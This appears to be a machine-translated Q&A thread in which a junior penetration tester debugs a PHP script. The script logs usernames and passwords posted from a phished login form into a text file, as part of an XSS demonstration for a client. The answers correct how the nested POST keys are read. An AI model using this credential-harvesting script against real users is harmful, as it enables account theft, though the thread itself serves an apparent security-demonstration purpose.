2011-10-05 74 views
0

我是(初級)筆測試人員,我正在嘗試製作一個腳本來演示XSS攻擊對客戶的危害。我有一個用於記錄用戶的php腳本:當受害者(即我自己在演示中)重定向到我託管的惡意頁面時傳遞組合。已發佈的數據變量未被PHP腳本保存

這是源爲登錄的一部分:

<input type="text" id="form_login_username" name="form[login][username]" value=""  class="large" /> 
<input type="password" id="form_login_password" name="form[login][password]" value="" class="large" /> 

我新的PHP所以這可能是一個非常基本的這是導致該問題。這是我的PHP腳本登錄細節:

<?PHP 
$filename = "login_details.txt"; 
$username = $_POST["form[login][username]"]; 
$password = $_POST["form[login][password]"]; 
$fh = fopen($filename, "aw") or die("cannot open file"); 
fwrite($fh, $username . ":" . $password . "\r\n"); 
fclose($fh); 

有了這個腳本,我得到:

Notice: Undefined index: form[login][username] in... 

而同樣的密碼。

我在isset中添加以查看變量是否被設置,而他們不是。

我知道腳本確實有效,因爲我用其他一些簡單的登錄頁面嘗試了它,並且它的工作很完美。唯一的區別是,在這種情況下,用戶名和密碼post變量中有方括號 - 這可能是問題嗎?我曾嘗試編碼它們的網址,但無濟於事:(

任何想法,我要去哪裏錯了?謝謝=)

回答

4

因爲訪問您的變量的有效方法是

$_POST['form']['login']['username'] 

剛執行var_dump($_POST);,看看您的帖子包含

+0

賓果!我知道這是愚蠢的=) - 非常感謝zerkms! – Jingo

1

試試這個,在你的窗體名稱屬性...

name="formUsername" 
name="formPasswd" 

在您接收腳本...

$username = $_POST['formUsername']; 
$password = $_POST['formPasswd]; 
+0

您仍然可以將表單元素設置爲數組值,它有時可以幫助將它們聚類在 – SW4

+0

感謝您的幫助,但我與其他答案一起去了 - 歡呼聲雖然=) – Jingo

0

你有一個<form action="youscript.php" method="post">周圍的領域?